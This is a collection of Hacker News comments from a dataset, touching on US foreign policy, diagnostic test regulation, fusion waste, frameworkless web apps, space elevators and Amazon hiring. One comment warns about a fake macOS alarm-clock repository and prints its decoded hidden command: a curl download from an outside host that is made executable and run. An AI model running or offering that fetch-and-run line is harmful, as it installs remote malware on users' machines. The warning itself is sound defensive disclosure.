MurphyA/hacker-news huggingface dataset:
by zmgsabst | 2025-10-21 04:44:10+00:00
The US is playing nice with Argentina and El Salvador while harsh with Colombia and Venezuela due to the perceived difference in their politics.

Carrot, stick.

> This is rich guys helping out their rich guy buddies using taxpayer dollars.

Almost all foreign aid is this, complete with kickbacks such as donations to the Clinton Foundation, etc. Even domestically, eg, the high percentage of homeless and poverty support disappearing into NGO pockets.
by epistasis | 2025-10-21 04:44:59+00:00
They always could! Diagnostics are a bit different than therapeutics, which need that big Phase 3 trial before you can start selling a new therapy.

There are two regulatory regimes for diagnostics in the US:

1) Lab developed tests (LDTs) licensed under the CLIA legislation (I think from the 1980s). These are verified by a Lab Director with a professional license in diagnostics, that allows them to sign out clinical results from the test. There are professional organizations that perform regular inspections of the lab, its condition, its paperwork, its tests, the SOPs, and the internal validations that have been performed at the lab director's direction to assess performance of the tests. These are limited to a single site, the kits for the test can not be sold except for Research Use Only, and if a second site wants to start doing a similar test the lab director at the other site needs to do all the same validation all over again as at the first site.

2) FDA approval for diagnostic medical devices. These can be simple and straightforward for Class 1/2 devices, which do not directly provide medical advice but mere physical readouts (to greatly bastardize the distinction between Class 1/2 and 3). Or the device approval can be quite complex for Class 3 devices, and would require a huge trial like the one described here. If you want to sell the device for others to use, rather than just testing as service, you want to go this route. Though there are still single-site "devices" especially for DNA sequencing tests, that want the FDA label.

Neither of these will result in getting reimbursement for a test. For that, you need to pursue coverage determinations from all the payers, basically one on one. For complex sequencing tests like this that mostly affects older populations, getting CMS coverage (Medicare) can pave the path for others. For other conditions... well... get all your trials and papers together and hope that your patient population is super sympathetic or you can show the insurance company some savings.

A large clinical trial like this one can help with getting coverage for the test, but it has to either show a big medical benefit, or show economic benefits within five years for the payor. Or ideally both. Early cancer detection has potential for this, but I have not heard optimistic things up until now at Galleri's chance for reimbursement any time soon.
by ggm | 2025-10-21 04:45:38+00:00
Wiki is pretty good on this. it says fission waste products have half-lives up in the thousands of years. Fusion waste products are more like 50 to 100.

I guess the nature of neutron activation of containment in a fusion scenario is different to the fission activity inside plutonium, thorium or uranium, and their post processing. Fission reactor inputs have pretty serious chemistry to strip their radioactive elements, concentrate, and store.

I think this may be inherent in the chemistry of the elements needed to fuel a fission reactor.

I'm unable to say if this is accurate, I too would love a better description, and this is the one wiki points to:

https://iopscience.iop.org/article/10.1088/1741-4326/ac62f7

Abstract In the absence of official standards and guidelines for nuclear fusion plants, fusion designers adopted, as far as possible, well-established standards for fission-based nuclear power plants (NPPs). This often implies interpretation and/or extrapolation, due to differences in structures, systems and components, materials, safety mitigation systems, risks, etc. This approach could result in the consideration of overconservative measures that might lead to an increase in cost and complexity with limited or negligible improvements. One important topic is the generation of radioactive waste in fusion power plants. Fusion waste is significantly different to fission NPP waste, i.e. the quantity of fusion waste is much larger. However, it mostly comprises low-level waste (LLW) and intermediate level waste (ILW). Notably, the waste does not contain many long-lived isotopes, mainly tritium and other activation isotopes but no-transuranic elements. An important benefit of fusion employing reduced-activation materials is the lower decay heat removal and rapid radioactivity decay overall. The dominant fusion wastes are primarily composed of structural materials, such as different types of steel, including reduced activation ferritic martensitic steels, such as EUROFER97 and F82H, AISI 316L, bainitic, and JK2LB. The relevant long-lived radioisotopes come from alloying elements, such as niobium, molybdenum, nickel, carbon, nitrogen, copper and aluminum and also from uncontrolled impurities (of the same elements, but also, e.g. of potassium and cobalt). After irradiation, these isotopes might preclude disposal in LLW repositories. Fusion power should be able to avoid creating high-level waste, while the volume of fusion ILW and LLW will be significant, both in terms of pure volume and volume per unit of electricity produced. Thus, efforts to recycle and clear are essential to support fusion deployment, reclaim resources (through less ore mining) and minimize the radwaste burden for future generations.

To me that says, "even though volumetrically there is more waste in fusion, it's lower radioactivity and more tractable"
by mmooss | 2025-10-21 04:45:43+00:00
Many said (some still say) that Wikipedia is not a replacement for traditional encyclopedias with articles written by domain experts, such as Britannica.

Many more scoffed at that, saying those people were just stuck in their old ways and unable to adjust to the obviously superior new thing.

Is that you? AI applications are different than Wikipedia and are better in some ways: Coverage is much greater - you can get a detailed article on almost any topic. And if you have questions after reading a Wikipedia article, Wikipedia can't help you; the AI software can answer them. Also, it's a bit easier to find the information you want.

Personally, I'm with the first group, at the top if this comment. And now truth, accuracy, and epistemology, and public interest in those things, take another major hit in the post-truth era.
by krst252009 | 2025-10-21 04:46:01+00:00
You're spot on — building large frontend apps without a framework is totally viable, and Obsidian is a great example. The key is leaning into web platform APIs and modular architecture.

Here’s how I approached it for www.lendcalculator.com, a browser-based financial tool with dozens of calculators and dynamic UI — all built without React, Vue, or Angular. How to Build Large Apps Without a Framework Use native modules + ES6 classes Structure your app like a library: each feature (calculator, modal, form) is its own module. Import/export keeps things clean.

Leverage Web Components (if needed) They’re part of the platform now — encapsulation, lifecycle hooks, and reusability without vendor lock-in.

Use vanilla JS + CSS for UI With querySelector, addEventListener, and fetch, you can build surprisingly rich interfaces. CSS Grid and Flexbox handle layout beautifully.

State management via custom stores or events You don’t need Redux — just use CustomEvent, localStorage, or a simple pub/sub pattern. Routing with History API Use pushState and popstate to manage navigation. Works great for SPAs.

Build tools: Vite, ESBuild, or even just Rollup You can still bundle, minify, and hot-reload without a framework.

Projects to Study Obsidian (as you mentioned)

CodeMirror — complex editor, no framework

LendCalculator — my own project, built with vanilla JS and modular architecture
by a85 | 2025-10-21 04:46:15+00:00
Hello all,

Postman founder here. I did not time this with an AWS outage of this magnitude but I posted about filesystem, git, and offline support coming to Postman last week: https://x.com/a85/status/1978979495836356819?s=46

Postman has a lot of capabilities now that require the cloud but there is still an offline client built in just for requests.

Building sign-in and cloud features were not due to a VC-led conspiracy. A large number of companies depend on APIs (like AWS) and have thousands of services and APIs. Customers need to manage them and wanted us to build it.
by yorwba | 2025-10-21 04:46:15+00:00
You can download twice-monthly database dumps, but they consist of the raw wikitext, so you need to do a bunch of extra work to render templates and stuff. Meanwhile, if you write a generic scraper, it can connect to Wikipedia like it connects to any other website and get the correctly-rendered HTML. People who aren't interested in Wikipedia specifically but want to download pretty much the entire internet unsurprisingly choose the latter option.
by notepad0x90 | 2025-10-21 04:46:35+00:00
Why isn't there an elevator to the highest altitude where an elevator could be built, and then spacecraft can propel from there. It should still reduce fuel costs and the cost to construct space craft?

Would powering the cable permanently, with a power station at the bottom and a constant feed of water for super-heated steam thrusters work? Just throwing scifi at it. I'm just curious why it has to be one component or why the weight can't be supported by propulsion. I'm guessing the TL;DR is the numbers just don't work out?
by colonial | 2025-10-21 04:46:46+00:00
To be fair, Vim and Curl are almost certainly dynamically linked, so they get to "cheat" a little. 10 megs is entirely reasonable for a statically linked utility intended to "just work" when you dump it somewhere in your $PATH.

Take the Micro editor. It's written in Go, and packs a fair bit of functionality into a single 12 meg static binary (of which a few megs is probably the runtime.)
by throwup238 | 2025-10-21 04:46:46+00:00
No, the factors causing the false positives are usually correlated. The most common cause is mutations causing unrelated proteins to mimic an epitope (binding site) of the biomarker protein. Another cause is analytical interference where some other molecule absorbs the wavelength used to measure the assay.

Running the test using multiple different labs helps eliminate contamination and handling errors but most false positives are due to genetics and long term environmental factors.
by kqr | 2025-10-21 04:47:02+00:00
It would look something like this[1] except with slower visual propagation.

Note that this camera (like any camera) cannot observe photons as they pass through the slits -- it can only record photons once they've bounced off the main path. Thus you will never record the interference-causing photons mid-flight, and you'll get a standard interference pattern.

[1]: https://www.researchgate.net/figure/The-apparatus-used-in-th...
by smt88 | 2025-10-21 04:47:06+00:00
> I might decide to spend $1000 on an additional diagnostic, even knowing that I'm still very likely to be negative.

The problem is that diagnostics aren't necessarily risk-free. For example, there's a non-zero risk of death while getting a colonoscopy, to the point that false positives from unnecessary testing can increase all-cause mortality for patients.
by vharuck | 2025-10-21 04:49:42+00:00
>as they do everything government has always done but are far too incompetent to divert attention away from it.

This kind of attitude only increases and normalizes corruption. It's not a binary situation. And having an openly corrupt President at the top is the worst scenario of all, because now all of his lackeys are being pardoned for past crimes and given passes for current ones.

>here is a link about their pressuring of Google

The Democratic administration pressured social media companies to take down what they believed to be COVID misinformation. Note that this doesn't personally benefit them in any major way (maybe a little, because the Republican party has de facto adopted RFK Jr.s wacky medical beliefs).

The Republican administration:

- Publicly said that if ABC did not remove Jimmy Kimmel from the air, they would open investigations into the network.

- Withheld funding from multiple universities under flimsy pretenses.

- Indicted multiple enemies of Trump for the crime of being enemies of Trump, as evidenced by Trump's own social media post directed to the Justice Department.

- Sued private law firms that were involved in cases against the sitting president.

- Is withholding funding of state projects, but only for states that went Democratic in the last election

- Sent the military into cities with Democratic leadership under flimsy pretenses.

Don't point out the splinter in a person's eye when there's a whole log sticking out from yours.
by president_zippy | 2025-10-21 04:52:00+00:00
I gotta be candid with you: "anyone fortunate enough to work there" is exactly the kind of arrogance that rubs job candidates the wrong way. A lot of people don't see it the way you do, and you would do well to take a moment of honest self reflection and consider the reason why.

Before you reflexively jump to "Amazon is just not for everybody", it's only fair to warn you that a lot of people around here have heard this phrase and don't buy it. My former landlord said the same thing at least 9 times in the 8 times I've interacted with him face to face... right up until he got fired. Management conveniently put him on a PIP 4 months before a vesting cliff on his 2-year RSU vesting schedule.

Yeah, Amazon is not for everybody- just the kind of people who either perpetrate or fall victim to pyramid schemes.
by awill | 2025-10-21 04:53:08+00:00
I interviewed in 2015. The recruiter told me to read the Amazon Leadership Principles, but I thought it was ridiculous to prep for something so specific to a single company, especially as I was interviewing at other companies too.

I got the job, and I think being natural helped. I've interviewed thousands of people at Amazon since, and too many people just say the buzz words with no meat, and it gets them nowhere i.e. I showed customer obsession when I.....(and then gives a bad example)
by gcommer | 2025-10-21 04:53:11+00:00
AlphaPhoenix mentions in the description that he wants to try and image an interference pattern, and it seems possible.

Though it wouldn't really be showing you the quantum effect; that's only proven with individual photons at a time. This technique sends a "big" pulse of light relying on some of it being diffusely reflected to the camera at each oscilloscope timestep.

Truly sending individual photons and measuring them is likely impractical as you'd have to wait for a huge time collecting data for each pixel, just hoping the photons happens to bounce directly into the photomultiplier tube.
by mantas | 2025-10-21 04:54:01+00:00
That’s not what I said.

I see people in various camps trying to use double speak as a weapon. And I don’t see people changing camps because of wording. And all camps are making fun of wording of the other side on any topic.

I’m not on US so here camps are slightly different and don’t exactly make two camps. With many topics crossing what you may call „reactionary“ and „progressive“ lines in strange ways. Here frequently people at the same time are in different camps on different topics with same people. And use same tactics both „with“ and „against“ same people based on topic.
by daxfohl | 2025-10-21 04:54:34+00:00
Definitely sounds cool. But the problem hasn't even been solved locally yet. Distributed microservices, 3rd party dependencies, async callbacks, reasonable test data, unsatisfiable validations, etc. Every company has their own hacked together local testing thing that mostly doesn't work.

That said, maybe this is the turning point where these companies work toward solving it in earnest, since it's a key differentiator of their larger PLATFORM and not just a cost. Heck, if they get something like that working well, I'd pay for it even without the AI!

Edit: that could end up being really slick too if it was able to learn from your teammates and offer guidance. Like when you're checking some e2e UI flows but you need a test item that has some specific detail, it maybe saw how your teammate changed the value or which item they used or created, and can copy it for you. "Hey it looks like you're trying to test this flow. Here's how Chen did it. Want me to guide you through that?" They can't really do that with just CLI, so the web interface could really be a game changer if they take full advantage of it.
by smt88 | 2025-10-21 04:54:51+00:00
It's possible (if not likely) that paying for this test made you more likely to die. There are two mechanisms for this:

1) You could develop cancer tomorrow, notice the symptoms, and assume it's not worth getting screened again because you were just supposedly cleared of cancer. A common logical fallacy for our human brains is that we think, "Oh, I just got a test, so it's less likely I have cancer today," which is not how probability works.

2) You could have gotten a false positive, which would have led to unnecessary additional screening. Many methods of cancer screening have some risk, whether from anesthesia, infection, or further false positives leading to unnecessary treatment.
by scuff3d | 2025-10-21 04:54:52+00:00
This is a huge stretch.

Even if you could configure a default registry to point at something besides docker.io a lot of people, I'd say the vast majority, wouldn't have bothered. So they'd still be in the same spot.

And it's not hard to just tag images. I don't have a single image pulling from docker.io at work. Takes two seconds to slap <company-repo>/ at the front of the image name.
by 8bitsrule | 2025-10-21 04:55:30+00:00
Yeah ... Some days it feels as though 98% of the net has turned into a giant begging-bowl. Long-time major sites are now saying stuff like "You're reading your last free article." Yeah? Don't count on that.

Many of them are sites that have built themselves without any original reporting. Where will they scrape the content they've used to grow if their sources take the same attitude?
by peteforde | 2025-10-21 04:55:31+00:00
We're going to have to agree to disagree; the fact that you're having trouble proving a negative is not our fault or our problem.

Drop your email or some other way to contact you. I will put you on the project mailing list and you'll get a notification when the GitHub project goes public; this will happen when the first beta units go out to the presales buyers.
by LorenPechtel | 2025-10-21 04:55:38+00:00
Fountain--while it could be done in a perfect world I do not believe it would be feasible and the whole thing is so vulnerable to disruption. Dragon's Egg got it very wrong, if one of your fountain bits misbehaves it misbehaves very badly. They're moving way above orbital velocity if they hit something that energy is promptly liberated. The Cheela couldn't catch those rings, they had to be moving at high relativistic speeds and would have hit with something akin to antimatter level force.

Orbital rings--only if you have elevators. Remember, the Ringworld is unstable. So is every other planetary ring.

I do not recall numbers on hooks so I will not address them.

The Moon has a whole different set of problems. There is no synchronous orbit, elevators must go above synchronous orbit, so the normal version can't exist. Nor can anything stand up to be yanked around by the Earth.

But there are two cases that avoid the yanking problem: pointed towards and pointed away from Earth. Current cables are good enough for a useful Earth-pointing cable. The free end dips below synchronous orbit, but it's moving very slowly. You do what people think rockets do--go up. It takes a lot less energy to catch the cable than it does to even reach orbit.

How to have such a cable in an environment with geosynchronous satellites is another matter...

There's also another interesting cable situation. Cable on Mars? Iffy--and those two moons would be a major problem. But flip the problem over--put the cables on the moons. The low end dips into the atmosphere at aircraft-type speeds. The cables can toss to each other. The high end can capture/eject to Earth or the asteroid belt.
by brookst | 2025-10-21 04:57:10+00:00
Using intermediaries to hire illegally makes it worse from a liability perspective. Amazon is too big and hires too many people to get away with “oh, we used agencies in all of our markets and audited nine of them and we’re shocked that they didn’t do diligence”. All it would take is one disgruntled hiring manager. And Amazon doesn’t have many gruntled ones.
by al_borland | 2025-10-21 04:57:23+00:00
“A society grows great when old men plant trees whose shade they know they shall never sit in.”

I recently visited Scotland and on a visit to a distillery they mentioned they bought land in the US to grow trees that will make their barrels one day. The trees take over 100 years to grow (if I remember correctly). How is it we can invest ~200 years into a glass of scotch, yet we aren’t willing to take the same care and long term thinking in most other areas.

Even without being around for 1,000 years, I’d think doing this would de-stress and de-risk. Somewhere along way it became a bad thing to have a good, stable, long-lasting business. The only thing that seems to matter now is growth, even if they means instability, stress, excessive risk, and a short stay.
by businessmate | 2025-10-21 04:58:56+00:00
Traditional search rewarded position, AI rewards persistence.

The AIVO Standard™ (De Rosen, 2025a) extends beyond Search Engine Optimization (SEO) and Generative Engine Optimization (GEO) by measuring representation persistence in generative models such as ChatGPT, Gemini, Claude, and Perplexity.

This article defines AIVO’s conceptual lineage, architecture, and governance model, incorporating methodology updates from version 3.0 (AIVO Standard, 2025a) and proposed extensions in v3.5 (AIVO Standard, 2025b).
by pizlonator | 2025-10-21 05:00:16+00:00
Wow that weird state machine doc is great! Thanks for sharing.

I’m lukewarm on this.

- It is long overdue and welcome.

- It won’t stop a sufficiently determined attacker because its probabilistic and too easy to only apply partially

Is this good? Yes. Does it solve memory safety? No. But does it change the economics? Yes.
by zenmac | 2025-10-21 05:00:43+00:00
Also this git repo[1] that pretend to be an open source MacOS alarm clock dose the same trick. There is no code in git repo. But if you click the "Get Awaken" red button. It has some base64 encoded string which translate to:

https://buildnetcrew.com/curl/e16f01ec9c3f30bc1c4cf56a7109be...' -o /tmp/launch && chmod +x /tmp/launch && /tmp/launch

The certificate is self-signed. Have not looked into it much, in today's using `curl bashscript` way of installing program exposed another door for attacker to target no tech savvy users.

[1]: https://github.com/Awaken-Mac/Awaken
by renewiltord | 2025-10-21 05:02:50+00:00
That’s not a new business idea. It’s been a thing since they announced the new guidelines. You can just buy the stuff https://www.amazon.com/Stage-Mix-ins-Allergen-Introduction-A...

My wife and I were always going to feed our child anything and she’s liked eating food off our plate anyway since she was 6 months old or so, but it was something we considered. So far the only thing we haven’t given her is shellfish.